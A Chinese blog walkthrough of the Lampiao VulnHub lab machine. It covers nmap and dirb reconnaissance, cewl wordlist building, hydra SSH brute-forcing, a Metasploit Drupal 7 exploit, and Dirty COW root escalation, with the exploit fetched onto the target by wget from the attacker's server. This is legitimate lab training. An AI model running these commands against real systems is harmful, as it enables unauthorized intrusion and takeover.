渗透项目(二):Lampiao

靶机地址:https://www.vulnhub.com/

Lampiao项目考察点:

1)信息收集:

1、nmap挖掘信息。2、挖掘HTTP服务信息。3、搜寻页面有用的信息。4、对信息页面枚举。5、爬取网页信息。

2)暴力破解:

hydra暴力破解

3)提权:

1、MSF获取shell。2、内核提权

具体操作步骤:

1、下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式。

2、老样子,打开kali终端,利用nmap对同网段存活的主机进行扫描。

nmap -sS 192.168.183.1/24(网段)     -----具体的参数,随后我会补充一篇单独学习文章

发现目标主机192.168.183.131,且开放了22,80端口,这时候,我们可以想到22端口ssh,可能存在爆破,80端口有http服务。

3、去浏览器输入目标IP地址,查看源码,没发现有什么有用的信息。

 4、利用nmap,重点搜索一下目标ip开放的端口,看看会有没有其他的发现。

nmap -p- 192.168.183.131

发现了个新的端口,不知道是个啥服务,去浏览器输入看看:

 主页随便点点,发现点击Read more,url里的路径会发生变化:

 这个页面好像也没有什么可以利用的信息,但是观察到url里的?q=node/1,这里我们可以试试进行枚举,把1换成2或3,4进行尝试,发现?q=node/2页面存在两个文件:

将这两个文件分别输入路径会发现,这是一个音频文件和一个二维码,在kali上,那个音频文件不能支持相应的格式,可以转到windows上输入ip地址:端口/文件名

 在音频中得知了用户名是:tiago,扫描二维码发现并没有什么东西,可能还得对22端口进行爆破。此处先暂时记录,用户名tiago。

5、对该网站目录进行爆破枚举,利用到的是kali上的dirb:

dirb http://192.168.183.131:1898 -w   #-w是对该目录的子目录也进行扫描爆破,也可以

                                                                不用-w

发现了robots.txt,输入路径查看相关的文件路径 发现了CHANGELOG.txt文件,将其输入url

 发现了有用的信息Drupal 7.54, 2017-02-01。

将有用的信息收集到一起,现在发现了用户名tiago,还有这个系统的版本名字Drupal 7.54。

6、下面为爆破22端口,提前利用kali的cewl,cewl通过爬行网站获取一些关键信息然后创建一个密码字典。(用cewl可以生成一份综合网站的密码字典,类似于社会工程性质的密码字典) 

cewl http://192.168.183.131:1898/?q=node/1 -w xiaoli.txt

7、利用hydra爆破22 端口的ssh:

hydra -l tiago -P xiaoli.txt 192.168.183.131 ssh

爆破出来的密码是Virgulino,此时整理收集到的信息:用户名:tiago   密码:Virgulino

然后输入ssh命令登录此用户:

ssh tiago@192.168.183.131   #然后输入密码,成功登录

 利用id查看,该用户为普通用户,下一步就要开始提权了。

8、提权,接上文收集到的资料,该系统的版本:Drupal 7.54,浏览器搜索Drupal 7.54 exploit,此处提权的方法有好几种,在此,我就用一种方法进行提权了,那就是MSF。输入msfconsole,且search Drupal,选择2018的那个模块,然后设置相应参数,set rhosts 192.168.183.131, set rport 1898.然后直接run

 建立连接后,输入shell,反弹一个假的shell,然后输入which python,检查是否安装python,安装python了会返回相应路径,然后利用python,输入

python -c 'import pty; pty.spawn("/bin/bash")'

 

 成功通过漏洞渗透进入该系统,但是权限是最低的,和ssh的那个tiago的用户权限差不多。下一步就要获取root权限了,通过在网上查找,发现Durpal 7版本2016年都可以用dirty(脏牛)来提权,是一个经典的漏洞提权,目前已经修复了,文章最后会进行介绍。

9、在kali上开启一个新的终端,输入

searchsploit dirty

使用这个Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privile | linux/local/40847.cpp

然后输入命令,将其放在桌面上

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/Desktop

10、用python开启本地http服务,输入

python -m http.server 8082

 然后在浏览器输入kali的ip地址,查看相应的目录,在msf建立的连接中输入

wget http://192.168.183.129:8082/Desktop/40847.cpp   #下载到渗透的系统中

在之前在浏览器查到该漏洞的详细信息以及使用:

输入

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o xiaoli 40847.cpp -lutil 

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o xiaoli gcc生成的目标文件,名字为xiaoli
执行gcc编译可执行文件,可直接提权。

执行./xiaoli后,得到root密码:dirtyCowFun,自此获取root密码,利用ssh登录root用户,提权成功,成功获取到本靶机的flag。

自此本次靶机渗透圆满结束,其实提权还有很多种方法,后续会继续更新。下面介绍下dirty的漏洞。

漏洞简要分析 

该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。具体分析请查看官方分析。

具体的今天就先写这些~伸个懒腰,继续努力,继续学习!!!!
 

  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值